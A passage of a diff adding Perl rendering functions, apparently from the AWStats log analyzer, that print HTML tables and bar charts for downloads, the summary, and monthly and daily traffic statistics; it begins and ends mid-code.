"<td>$rest_p</td>"; } + if ( $ShowDomainsStats =~ /H/i ) { print "<td>$rest_h</td>"; } + if ( $ShowDomainsStats =~ /B/i ) { + print "<td>" . Format_Bytes($rest_k) . "</td>"; + } + print "<td class=\"aws\"> </td>"; + print "</tr>\n"; + } + &tab_end(); + &html_end(1); +} + +#------------------------------------------------------------------------------ +# Function: Prints the Downloads code frame or static page +# Parameters: _ +# Input: _ +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLShowDownloads{ + my $regext = qr/\.(\w{1,6})$/; + print "$Center<a name=\"downloads\"> </a><br />\n"; + &tab_head( $Message[178], 19, 0, "downloads" ); + print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"2\">$Message[178]</th>"; + if ( $ShowFileTypesStats =~ /H/i ){print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>" + ."<th bgcolor=\"#$color_h\" width=\"80\">206 $Message[57]</th>"; } + if ( $ShowFileTypesStats =~ /B/i ){ + print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; + print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>"; + } + print "</tr>\n"; + my $count = 0; + for my $u (sort {$_downloads{$b}->{'AWSTATS_HITS'} <=> $_downloads{$a}->{'AWSTATS_HITS'}}(keys %_downloads) ){ + print "<tr>"; + my $ext = Get_Extension($regext, $u); + if ( !$ext) { + print "<td" + . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) + . "><img src=\"$DirIcons\/mime\/unknown.png\"" + . AltTitle("") + . " /></td>"; + } + else { + my $nameicon = $MimeHashLib{$ext}[0] || "notavailable"; + my $nametype = $MimeHashFamily{$MimeHashLib{$ext}[0]} || " "; + print "<td" + . ( $count ? "" : " width=\"$WIDTHCOLICON\"" ) + . "><img src=\"$DirIcons\/mime\/$nameicon.png\"" + . AltTitle("") + . " /></td>"; + } + print "<td class=\"aws\">"; + &HTMLShowURLInfo($u); + print "</td>"; + if ( $ShowFileTypesStats =~ /H/i ){ + print "<td>".Format_Number($_downloads{$u}->{'AWSTATS_HITS'})."</td>"; + print "<td>".Format_Number($_downloads{$u}->{'AWSTATS_206'})."</td>"; + } + if ( $ShowFileTypesStats =~ /B/i ){ + print "<td>".Format_Bytes($_downloads{$u}->{'AWSTATS_SIZE'})."</td>"; + print "<td>".Format_Bytes(($_downloads{$u}->{'AWSTATS_SIZE'}/ + ($_downloads{$u}->{'AWSTATS_HITS'} + $_downloads{$u}->{'AWSTATS_206'})))."</td>"; + } + print "</tr>\n"; + $count++; + if ($count >= $MaxRowsInHTMLOutput){last;} + } + &tab_end(); + &html_end(1); +} + +#------------------------------------------------------------------------------ +# Function: Prints the Summary section at the top of the main page +# Parameters: _ +# Input: _ +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLMainSummary{ + if ($Debug) { debug( "ShowSummary", 2 ); } + # FirstTime LastTime + my $FirstTime = 0; + my $LastTime = 0; + foreach my $key ( keys %FirstTime ) { + my $keyqualified = 0; + if ( $MonthRequired eq 'all' ) { $keyqualified = 1; } + if ( $key =~ /^$YearRequired$MonthRequired/ ) { $keyqualified = 1; } + if ($keyqualified) { + if ( $FirstTime{$key} + && ( $FirstTime == 0 || $FirstTime > $FirstTime{$key} ) ) + { + $FirstTime = $FirstTime{$key}; + } + if ( $LastTime < ( $LastTime{$key} || 0 ) ) { + $LastTime = $LastTime{$key}; + } + } + } + + #print "$Center<a name=\"summary\"> </a><br />\n"; + my $title = "$Message[128]"; + &tab_head( "$title", 0, 0, 'month' ); + + my $NewLinkParams = ${QueryString}; + $NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)year=[^&]*//i; + $NewLinkParams =~ s/(^|&|&)month=[^&]*//i; + $NewLinkParams =~ s/(^|&|&)framename=[^&]*//i; + $NewLinkParams =~ s/(&|&)+/&/i; + $NewLinkParams =~ s/^&//; + $NewLinkParams =~ s/&$//; + if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; } + my $NewLinkTarget = ''; + + if ( $FrameName eq 'mainright' ) { + $NewLinkTarget = " target=\"_parent\""; + } + + # Ratio + my $RatioVisits = 0; + my $RatioPages = 0; + my $RatioHits = 0; + my $RatioBytes = 0; + if ( $TotalUnique > 0 ) { + $RatioVisits = int( $TotalVisits / $TotalUnique * 100 ) / 100; + } + if ( $TotalVisits > 0 ) { + $RatioPages = int( $TotalPages / $TotalVisits * 100 ) / 100; + } + if ( $TotalVisits > 0 ) { + $RatioHits = int( $TotalHits / $TotalVisits * 100 ) / 100; + } + if ( $TotalVisits > 0 ) { + $RatioBytes = + int( ( $TotalBytes / 1024 ) * 100 / + ( $LogType eq 'M' ? $TotalHits : $TotalVisits ) ) / 100; + } + + my $colspan = 5; + my $w = '20'; + if ( $LogType eq 'W' || $LogType eq 'S' ) { + $w = '17'; + $colspan = 6; + } + + # Show first/last + print "<tr bgcolor=\"#$color_TableBGRowTitle\">"; + print +"<td class=\"aws\"><b>$Message[133]</b></td><td class=\"aws\" colspan=\"" + . ( $colspan - 1 ) . "\">\n"; + print( $MonthRequired eq 'all' + ? "$Message[6] $YearRequired" + : "$Message[5] " + . $MonthNumLib{$MonthRequired} + . " $YearRequired" + ); + print "</td></tr>\n"; + print "<tr bgcolor=\"#$color_TableBGRowTitle\">"; + print "<td class=\"aws\"><b>$Message[8]</b></td>\n"; + print "<td class=\"aws\" colspan=\"" + . ( $colspan - 1 ) . "\">" + . ( $FirstTime ? Format_Date( $FirstTime, 0 ) : "NA" ) . "</td>"; + print "</tr>\n"; + print "<tr bgcolor=\"#$color_TableBGRowTitle\">"; + print "<td class=\"aws\"><b>$Message[9]</b></td>\n"; + print "<td class=\"aws\" colspan=\"" + . ( $colspan - 1 ) . "\">" + . ( $LastTime ? Format_Date( $LastTime, 0 ) : "NA" ) + . "</td>\n"; + print "</tr>\n"; + + # Show main indicators title row + print "<tr>"; + if ( $LogType eq 'W' || $LogType eq 'S' ) { + print "<td bgcolor=\"#$color_TableBGTitle\"> </td>"; + } + if ( $ShowSummary =~ /U/i ) { + print "<td width=\"$w%\" bgcolor=\"#$color_u\"" + . Tooltip(2) + . ">$Message[11]</td>"; + } + else { + print +"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>"; + } + if ( $ShowSummary =~ /V/i ) { + print "<td width=\"$w%\" bgcolor=\"#$color_v\"" + . Tooltip(1) + . ">$Message[10]</td>"; + } + else { + print +"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>"; + } + if ( $ShowSummary =~ /P/i ) { + print "<td width=\"$w%\" bgcolor=\"#$color_p\"" + . Tooltip(3) + . ">$Message[56]</td>"; + } + else { + print +"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>"; + } + if ( $ShowSummary =~ /H/i ) { + print "<td width=\"$w%\" bgcolor=\"#$color_h\"" + . Tooltip(4) + . ">$Message[57]</td>"; + } + else { + print +"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>"; + } + if ( $ShowSummary =~ /B/i ) { + print "<td width=\"$w%\" bgcolor=\"#$color_k\"" + . Tooltip(5) + . ">$Message[75]</td>"; + } + else { + print +"<td bgcolor=\"#$color_TableBGTitle\" width=\"20%\"> </td>"; + } + print "</tr>\n"; + + # Show main indicators values for viewed traffic + print "<tr>"; + if ( $LogType eq 'M' ) { + print "<td class=\"aws\">$Message[165]</td>"; + print "<td> <br /> </td>\n"; + print "<td> <br /> </td>\n"; + if ( $ShowSummary =~ /H/i ) { + print "<td><b>".Format_Number($TotalHits)."</b>" + . ( + $LogType eq 'M' + ? "" + : "<br />($RatioHits " + . lc( $Message[57] . "/" . $Message[12] ) . ")" + ) + . "</td>"; + } + else { print "<td> </td>"; } + if ( $ShowSummary =~ /B/i ) { + print "<td><b>" + . Format_Bytes( int($TotalBytes) ) + . "</b><br />($RatioBytes $Message[108]/" + . $Message[ ( $LogType eq 'M' ? 149 : 12 ) ] + . ")</td>"; + } + else { print "<td> </td>"; } + } + else { + if ( $LogType eq 'W' || $LogType eq 'S' ) { + print "<td class=\"aws\">$Message[160] *</td>"; + } + if ( $ShowSummary =~ /U/i ) { + print "<td>" + . ( + $MonthRequired eq 'all' + ? "<b><= ".Format_Number($TotalUnique)."</b><br />$Message[129]" + : "<b>".Format_Number($TotalUnique)."</b><br /> " + ) + . "</td>"; + } + else { print "<td> </td>"; } + if ( $ShowSummary =~ /V/i ) { + print +"<td><b>".Format_Number($TotalVisits)."</b><br />($RatioVisits $Message[52])</td>"; + } + else { print "<td> </td>"; } + if ( $ShowSummary =~ /P/i ) { + print "<td><b>".Format_Number($TotalPages)."</b><br />($RatioPages " + . $Message[56] . "/" + . $Message[12] + . ")</td>"; + } + else { print "<td> </td>"; } + if ( $ShowSummary =~ /H/i ) { + print "<td><b>".Format_Number($TotalHits)."</b>" + . ( + $LogType eq 'M' + ? "" + : "<br />($RatioHits " + . $Message[57] . "/" + . $Message[12] . ")" + ) + . "</td>"; + } + else { print "<td> </td>"; } + if ( $ShowSummary =~ /B/i ) { + print "<td><b>" + . Format_Bytes( int($TotalBytes) ) + . "</b><br />($RatioBytes $Message[108]/" + . $Message[ ( $LogType eq 'M' ? 149 : 12 ) ] + . ")</td>"; + } + else { print "<td> </td>"; } + } + print "</tr>\n"; + + # Show main indicators values for not viewed traffic values + if ( $LogType eq 'M' || $LogType eq 'W' || $LogType eq 'S' ) { + print "<tr>"; + if ( $LogType eq 'M' ) { + print "<td class=\"aws\">$Message[166]</td>"; + print "<td> <br /> </td>\n"; + print "<td> <br /> </td>\n"; + if ( $ShowSummary =~ /H/i ) { + print "<td><b>".Format_Number($TotalNotViewedHits)."</b></td>"; + } + else { print "<td> </td>"; } + if ( $ShowSummary =~ /B/i ) { + print "<td><b>" + . Format_Bytes( int($TotalNotViewedBytes) ) + . "</b></td>"; + } + else { print "<td> </td>"; } + } + else { + if ( $LogType eq 'W' || $LogType eq 'S' ) { + print "<td class=\"aws\">$Message[161] *</td>"; + } + print "<td colspan=\"2\"> <br /> </td>\n"; + if ( $ShowSummary =~ /P/i ) { + print "<td><b>".Format_Number($TotalNotViewedPages)."</b></td>"; + } + else { print "<td> </td>"; } + if ( $ShowSummary =~ /H/i ) { + print "<td><b>".Format_Number($TotalNotViewedHits)."</b></td>"; + } + else { print "<td> </td>"; } + if ( $ShowSummary =~ /B/i ) { + print "<td><b>" + . Format_Bytes( int($TotalNotViewedBytes) ) + . "</b></td>"; + } + else { print "<td> </td>"; } + } + print "</tr>\n"; + } + &tab_end($LogType eq 'W' + || $LogType eq 'S' ? "* $Message[159]" : "" ); +} + +#------------------------------------------------------------------------------ +# Function: Prints the Monthly section on the main page +# Parameters: _ +# Input: _ +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLMainMonthly{ + if ($Debug) { debug( "ShowMonthStats", 2 ); } + print "$Center<a name=\"month\"> </a><br />\n"; + my $title = "$Message[162]"; + &tab_head( "$title", 0, 0, 'month' ); + print "<tr><td align=\"center\">\n"; + print "<center>\n"; + + my $average_nb = my $average_u = my $average_v = my $average_p = 0; + my $average_h = my $average_k = 0; + my $total_u = my $total_v = my $total_p = my $total_h = my $total_k = 0; + my $max_v = my $max_p = my $max_h = my $max_k = 1; + + # Define total and max + for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) { + my $monthix = sprintf( "%02s", $ix ); + $total_u += $MonthUnique{ $YearRequired . $monthix } || 0; + $total_v += $MonthVisits{ $YearRequired . $monthix } || 0; + $total_p += $MonthPages{ $YearRequired . $monthix } || 0; + $total_h += $MonthHits{ $YearRequired . $monthix } || 0; + $total_k += $MonthBytes{ $YearRequired . $monthix } || 0; + +#if (($MonthUnique{$YearRequired.$monthix}||0) > $max_v) { $max_v=$MonthUnique{$YearRequired.$monthix}; } + if ( + ( $MonthVisits{ $YearRequired . $monthix } || 0 ) > $max_v ) + { + $max_v = $MonthVisits{ $YearRequired . $monthix }; + } + +#if (($MonthPages{$YearRequired.$monthix}||0) > $max_p) { $max_p=$MonthPages{$YearRequired.$monthix}; } + if ( ( $MonthHits{ $YearRequired . $monthix } || 0 ) > $max_h ) + { + $max_h = $MonthHits{ $YearRequired . $monthix }; + } + if ( ( $MonthBytes{ $YearRequired . $monthix } || 0 ) > $max_k ) + { + $max_k = $MonthBytes{ $YearRequired . $monthix }; + } + } + + # Define average + # TODO + + # Show bars for month + my $graphdone=0; + foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) + { + my @blocklabel = (); + for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) { + my $monthix = sprintf( "%02s", $ix ); + push @blocklabel, + "$MonthNumLib{$monthix}\n$YearRequired"; + } + my @vallabel = ( + "$Message[11]", "$Message[10]", + "$Message[56]", "$Message[57]", + "$Message[75]" + ); + my @valcolor = + ( "$color_u", "$color_v", "$color_p", "$color_h", + "$color_k" ); + my @valmax = ( $max_v, $max_v, $max_h, $max_h, $max_k ); + my @valtotal = + ( $total_u, $total_v, $total_p, $total_h, $total_k ); + my @valaverage = (); + + #my @valaverage=($average_v,$average_p,$average_h,$average_k); + my @valdata = (); + my $xx = 0; + for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) { + my $monthix = sprintf( "%02s", $ix ); + $valdata[ $xx++ ] = $MonthUnique{ $YearRequired . $monthix } + || 0; + $valdata[ $xx++ ] = $MonthVisits{ $YearRequired . $monthix } + || 0; + $valdata[ $xx++ ] = $MonthPages{ $YearRequired . $monthix } + || 0; + $valdata[ $xx++ ] = $MonthHits{ $YearRequired . $monthix } + || 0; + $valdata[ $xx++ ] = $MonthBytes{ $YearRequired . $monthix } + || 0; + } + + my $function = "ShowGraph_$pluginname"; + &$function( + "$title", "month", + $ShowMonthStats, \@blocklabel, + \@vallabel, \@valcolor, + \@valmax, \@valtotal, + \@valaverage, \@valdata + ); + $graphdone=1; + } + if (! $graphdone) + { + print "<table>\n"; + print "<tr valign=\"bottom\">"; + print "<td> </td>\n"; + for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) { + my $monthix = sprintf( "%02s", $ix ); + my $bredde_u = 0; + my $bredde_v = 0; + my $bredde_p = 0; + my $bredde_h = 0; + my $bredde_k = 0; + if ( $max_v > 0 ) { + $bredde_u = + int( + ( $MonthUnique{ $YearRequired . $monthix } || 0 ) / + $max_v * $BarHeight ) + 1; + } + if ( $max_v > 0 ) { + $bredde_v = + int( + ( $MonthVisits{ $YearRequired . $monthix } || 0 ) / + $max_v * $BarHeight ) + 1; + } + if ( $max_h > 0 ) { + $bredde_p = + int( + ( $MonthPages{ $YearRequired . $monthix } || 0 ) / + $max_h * $BarHeight ) + 1; + } + if ( $max_h > 0 ) { + $bredde_h = + int( ( $MonthHits{ $YearRequired . $monthix } || 0 ) / + $max_h * $BarHeight ) + 1; + } + if ( $max_k > 0 ) { + $bredde_k = + int( + ( $MonthBytes{ $YearRequired . $monthix } || 0 ) / + $max_k * $BarHeight ) + 1; + } + print "<td>"; + if ( $ShowMonthStats =~ /U/i ) { + print +"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vu'}\" height=\"$bredde_u\" width=\"6\"" + . AltTitle( "$Message[11]: " + . ( $MonthUnique{ $YearRequired . $monthix } + || 0 ) ) + . " />"; + } + if ( $ShowMonthStats =~ /V/i ) { + print +"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"6\"" + . AltTitle( "$Message[10]: " + . ( $MonthVisits{ $YearRequired . $monthix } + || 0 ) ) + . " />"; + } + if ( $ShowMonthStats =~ /P/i ) { + print +"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"6\"" + . AltTitle( "$Message[56]: " + . ( $MonthPages{ $YearRequired . $monthix } || 0 ) + ) + . " />"; + } + if ( $ShowMonthStats =~ /H/i ) { + print +"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"6\"" + . AltTitle( "$Message[57]: " + . ( $MonthHits{ $YearRequired . $monthix } || 0 ) + ) + . " />"; + } + if ( $ShowMonthStats =~ /B/i ) { + print +"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"6\"" + . AltTitle( + "$Message[75]: " + . Format_Bytes( + $MonthBytes{ $YearRequired . $monthix } + ) + ) + . " />"; + } + print "</td>\n"; + } + print "<td> </td>"; + print "</tr>\n"; + + # Show lib for month + print "<tr valign=\"middle\">"; + + #if (!$StaticLinks) { + # print "<td><a href=\"".XMLEncode("$AWScript${NewLinkParams}month=12&year=".($YearRequired-1))."\"><<</a></td>"; + #} + #else { + print "<td> </td>"; + + # } + for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) { + my $monthix = sprintf( "%02s", $ix ); + +# if (!$StaticLinks) { +# print "<td><a href=\"".XMLEncode("$AWScript${NewLinkParams}month=$monthix&year=$YearRequired")."\">$MonthNumLib{$monthix}<br />$YearRequired</a></td>"; +# } +# else { + print "<td>" + . ( + !$StaticLinks + && $monthix == $nowmonth + && $YearRequired == $nowyear + ? '<span class="currentday">' + : '' + ); + print "$MonthNumLib{$monthix}<br />$YearRequired"; + print( !$StaticLinks + && $monthix == $nowmonth + && $YearRequired == $nowyear ? '</span>' : '' ); + print "</td>"; + + # } + } + +# if (!$StaticLinks) { +# print "<td><a href=\"".XMLEncode("$AWScript${NewLinkParams}month=1&year=".($YearRequired+1))."\">>></a></td>"; +# } +# else { + print "<td> </td>"; + + # } + print "</tr>\n"; + print "</table>\n"; + } + print "<br />\n"; + + # Show data array for month + if ($AddDataArrayMonthStats) { + print "<table>\n"; + print +"<tr><td width=\"80\" bgcolor=\"#$color_TableBGRowTitle\">$Message[5]</td>"; + if ( $ShowMonthStats =~ /U/i ) { + print "<td width=\"80\" bgcolor=\"#$color_u\"" + . Tooltip(2) + . ">$Message[11]</td>"; + } + if ( $ShowMonthStats =~ /V/i ) { + print "<td width=\"80\" bgcolor=\"#$color_v\"" + . Tooltip(1) + . ">$Message[10]</td>"; + } + if ( $ShowMonthStats =~ /P/i ) { + print "<td width=\"80\" bgcolor=\"#$color_p\"" + . Tooltip(3) + . ">$Message[56]</td>"; + } + if ( $ShowMonthStats =~ /H/i ) { + print "<td width=\"80\" bgcolor=\"#$color_h\"" + . Tooltip(4) + . ">$Message[57]</td>"; + } + if ( $ShowMonthStats =~ /B/i ) { + print "<td width=\"80\" bgcolor=\"#$color_k\"" + . Tooltip(5) + . ">$Message[75]</td>"; + } + print "</tr>\n"; + for ( my $ix = 1 ; $ix <= 12 ; $ix++ ) { + my $monthix = sprintf( "%02s", $ix ); + print "<tr>"; + print "<td>" + . ( + !$StaticLinks + && $monthix == $nowmonth + && $YearRequired == $nowyear + ? '<span class="currentday">' + : '' + ); + print "$MonthNumLib{$monthix} $YearRequired"; + print( !$StaticLinks + && $monthix == $nowmonth + && $YearRequired == $nowyear ? '</span>' : '' ); + print "</td>"; + if ( $ShowMonthStats =~ /U/i ) { + print "<td>", + Format_Number($MonthUnique{ $YearRequired . $monthix } + ? $MonthUnique{ $YearRequired . $monthix } + : "0"), "</td>"; + } + if ( $ShowMonthStats =~ /V/i ) { + print "<td>", + Format_Number($MonthVisits{ $YearRequired . $monthix } + ? $MonthVisits{ $YearRequired . $monthix } + : "0"), "</td>"; + } + if ( $ShowMonthStats =~ /P/i ) { + print "<td>", + Format_Number($MonthPages{ $YearRequired . $monthix } + ? $MonthPages{ $YearRequired . $monthix } + : "0"), "</td>"; + } + if ( $ShowMonthStats =~ /H/i ) { + print "<td>", + Format_Number($MonthHits{ $YearRequired . $monthix } + ? $MonthHits{ $YearRequired . $monthix } + : "0"), "</td>"; + } + if ( $ShowMonthStats =~ /B/i ) { + print "<td>", + Format_Bytes( + int( $MonthBytes{ $YearRequired . $monthix } || 0 ) + ), "</td>"; + } + print "</tr>\n"; + } + + # Average row + # TODO + # Total row + print +"<tr><td bgcolor=\"#$color_TableBGRowTitle\">$Message[102]</td>"; + if ( $ShowMonthStats =~ /U/i ) { + print + "<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Number($total_u)."</td>"; + } + if ( $ShowMonthStats =~ /V/i ) { + print + "<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Number($total_v)."</td>"; + } + if ( $ShowMonthStats =~ /P/i ) { + print + "<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Number($total_p)."</td>"; + } + if ( $ShowMonthStats =~ /H/i ) { + print + "<td bgcolor=\"#$color_TableBGRowTitle\">".Format_Number($total_h)."</td>"; + } + if ( $ShowMonthStats =~ /B/i ) { + print "<td bgcolor=\"#$color_TableBGRowTitle\">" + . Format_Bytes($total_k) . "</td>"; + } + print "</tr>\n"; + print "</table>\n<br />\n"; + } + + print "</center>\n"; + print "</td></tr>\n"; + &tab_end(); +} + +#------------------------------------------------------------------------------ +# Function: Prints the Daily section on the main page +# Parameters: $firstdaytocountaverage, $lastdaytocountaverage +# $firstdaytoshowtime, $lastdaytoshowtime +# Input: _ +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLMainDaily{ + my $firstdaytocountaverage = shift; + my $lastdaytocountaverage = shift; + my $firstdaytoshowtime = shift; + my $lastdaytoshowtime = shift; + + if ($Debug) { debug( "ShowDaysOfMonthStats", 2 ); } + print "$Center<a name=\"daysofmonth\"> </a><br />\n"; + + my $NewLinkParams = ${QueryString}; + $NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)year=[^&]*//i; + $NewLinkParams =~ s/(^|&|&)month=[^&]*//i; + $NewLinkParams =~ s/(^|&|&)framename=[^&]*//i; + $NewLinkParams =~ s/(&|&)+/&/i; + $NewLinkParams =~ s/^&//; + $NewLinkParams =~ s/&$//; + if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; } + my $NewLinkTarget = ''; + + if ( $FrameName eq 'mainright' ) { + $NewLinkTarget = " target=\"_parent\""; + } + + my $title = "$Message[138]"; + + if ($AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) { + # extend the title to include the added link + $title = "$title - <a href=\"".(XMLEncode( + "$AddLinkToExternalCGIWrapper". "?section=DAY&baseName=$DirData/$PROG" + . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired" + . "&siteConfig=$SiteConfig" ) + . "\"$NewLinkTarget>$Message[179]</a>"); + } + + &tab_head( "$title", 0, 0, 'daysofmonth' ); + print "<tr>"; + print "<td align=\"center\">\n"; + print "<center>\n"; + + my $average_v = my $average_p = 0; + my $average_h = my $average_k = 0; + my $total_u = my $total_v = my $total_p = my $total_h = my $total_k = 0; + my $max_v = my $max_h = my $max_k = 0; # Start from 0 because can be lower than 1 + foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime ) + { + $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/; + my $year = $1; + my $month = $2; + my $day = $3; + if ( !DateIsValid( $day, $month, $year ) ) { + next; + } # If not an existing day, go to next + $total_v += $DayVisits{ $year . $month . $day } || 0; + $total_p += $DayPages{ $year . $month . $day } || 0; + $total_h += $DayHits{ $year . $month . $day } || 0; + $total_k += $DayBytes{ $year . $month . $day } || 0; + if ( ( $DayVisits{ $year . $month . $day } || 0 ) > $max_v ) { + $max_v = $DayVisits{ $year . $month . $day }; + } + +#if (($DayPages{$year.$month.$day}||0) > $max_p) { $max_p=$DayPages{$year.$month.$day}; } + if ( ( $DayHits{ $year . $month . $day } || 0 ) > $max_h ) { + $max_h = $DayHits{ $year . $month . $day }; + } + if ( ( $DayBytes{ $year . $month . $day } || 0 ) > $max_k ) { + $max_k = $DayBytes{ $year . $month . $day }; + } + } + $average_v = sprintf( "%.2f", $AverageVisits ); + $average_p = sprintf( "%.2f", $AveragePages ); + $average_h = sprintf( "%.2f", $AverageHits ); + $average_k = sprintf( "%.2f", $AverageBytes ); + + # Show bars for day + my $graphdone=0; + foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } ) + { + my @blocklabel = (); + foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime ) + { + $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/; + my $year = $1; + my $month = $2; + my $day = $3; + if ( !DateIsValid( $day, $month, $year ) ) { + next; + } # If not an existing day, go to next + my $bold = + ( $day == $nowday + && $month == $nowmonth + && $year == $nowyear ? ':' : '' ); + my $weekend = + ( DayOfWeek( $day, $month, $year ) =~ /[06]/ ? '!' : '' ); + push @blocklabel, + "$day\n$MonthNumLib{$month}$weekend$bold"; + } + my @vallabel = ( + "$Message[10]", "$Message[56]", + "$Message[57]", "$Message[75]" + ); + my @valcolor = + ( "$color_v", "$color_p", "$color_h", "$color_k" ); + my @valmax = ( $max_v, $max_h, $max_h, $max_k ); + my @valtotal = ( $total_v, $total_p, $total_h, $total_k ); + my @valaverage = + ( $average_v, $average_p, $average_h, $average_k ); + my @valdata = (); + my $xx = 0; + + foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime ) + { + $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/; + my $year = $1; + my $month = $2; + my $day = $3; + if ( !DateIsValid( $day, $month, $year ) ) { + next; + } # If not an existing day, go to next + $valdata[ $xx++ ] = $DayVisits{ $year . $month . $day } + || 0; + $valdata[ $xx++ ] = $DayPages{ $year . $month . $day } || 0; + $valdata[ $xx++ ] = $DayHits{ $year . $month . $day } || 0; + $valdata[ $xx++ ] = $DayBytes{ $year . $month . $day } || 0; + } + my $function = "ShowGraph_$pluginname"; + &$function( + "$title", "daysofmonth", + $ShowDaysOfMonthStats, \@blocklabel, + \@vallabel, \@valcolor, + \@valmax, \@valtotal, + \@valaverage, \@valdata + ); + $graphdone=1; + } + # If graph was not printed by a plugin + if (! $graphdone) { + print "<table>\n"; + print "<tr valign=\"bottom\">\n"; + foreach my $daycursor ( $firstdaytoshowtime .. $lastdaytoshowtime ) + { + $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/; + my $year = $1; + my $month = $2; + my $day = $3; + if ( !DateIsValid( $day, $month, $year ) ) { + next; + } # If not an existing day, go to next + my $bredde_v = 0; + my $bredde_p = 0; + my $bredde_h = 0; + my $bredde_k = 0; + if ( $max_v > 0 ) { + $bredde_v = + int( ( $DayVisits{ $year . $month . $day } || 0 ) / + $max_v * $BarHeight ) + 1; + } + if ( $max_h > 0 ) { + $bredde_p = + int( ( $DayPages{ $year . $month . $day } || 0 ) / + $max_h * $BarHeight ) + 1; + } + if ( $max_h > 0 ) { + $bredde_h = + int( ( $DayHits{ $year . $month . $day } || 0 ) / + $max_h * $BarHeight ) + 1; + } + if ( $max_k > 0 ) { + $bredde_k = + int( ( $DayBytes{ $year . $month . $day } || 0 ) / + $max_k * $BarHeight ) + 1; + } + print "<td>"; + if ( $ShowDaysOfMonthStats =~ /V/i ) { + print +"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"4\"" + . AltTitle( "$Message[10]: " + . int( $DayVisits{ $year . $month . $day } || 0 ) + ) + . " />"; + } + if ( $ShowDaysOfMonthStats =~ /P/i ) { + print +"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"4\"" + . AltTitle( "$Message[56]: " + . int( $DayPages{ $year . $month . $day } || 0 ) ) + . " />"; + } + if ( $ShowDaysOfMonthStats =~ /H/i ) { + print +"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"4\"" + . AltTitle( "$Message[57]: " + . int( $DayHits{ $year . $month . $day } || 0 ) ) + . " />"; + } + if ( $ShowDaysOfMonthStats =~ /B/i ) { + print +"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vk'}\" height=\"$bredde_k\" width=\"4\"" + . AltTitle( + "$Message[75]: " + . Format_Bytes( + $DayBytes{ $year . $month . $day } + ) + ) + . " />"; + } + print "</td>\n"; + } + print "<td> </td>"; + + # Show average value bars + print "<td>"; + my $bredde_v = 0; + my $bredde_p = 0; + my $bredde_h = 0; + my $bredde_k = 0; + if ( $max_v > 0 ) { + $bredde_v = int( $average_v / $max_v * $BarHeight ) + 1; + } + if ( $max_h > 0 ) { + $bredde_p = int( $average_p / $max_h * $BarHeight ) + 1; + } + if ( $max_h > 0 ) { + $bredde_h = int( $average_h / $max_h * $BarHeight ) + 1; + } + if ( $max_k > 0 ) { + $bredde_k = int( $average_k / $max_k * $BarHeight ) + 1; + } + $average_v = sprintf( "%.2f", $average_v ); + $average_p = sprintf( "%.2f", $average_p ); + $average_h = sprintf( "%.2f", $average_h ); + $average_k = sprintf( "%.2f", $average_k ); + if ( $ShowDaysOfMonthStats =~ /V/i ) { + print +"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vv'}\" height=\"$bredde_v\" width=\"4\"" + . AltTitle("$Message[10]: $average_v") . " />"; + } + if ( $ShowDaysOfMonthStats =~ /P/i ) { + print +"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vp'}\" height=\"$bredde_p\" width=\"4\"" + . AltTitle("$Message[56]: $average_p") . " />"; + } + if ( $ShowDaysOfMonthStats =~ /H/i ) { + print +"<img align=\"bottom\" src=\"$DirIcons\/other\/$BarPng{'vh'}\" height=\"$bredde_h\" width=\"4\"" + . 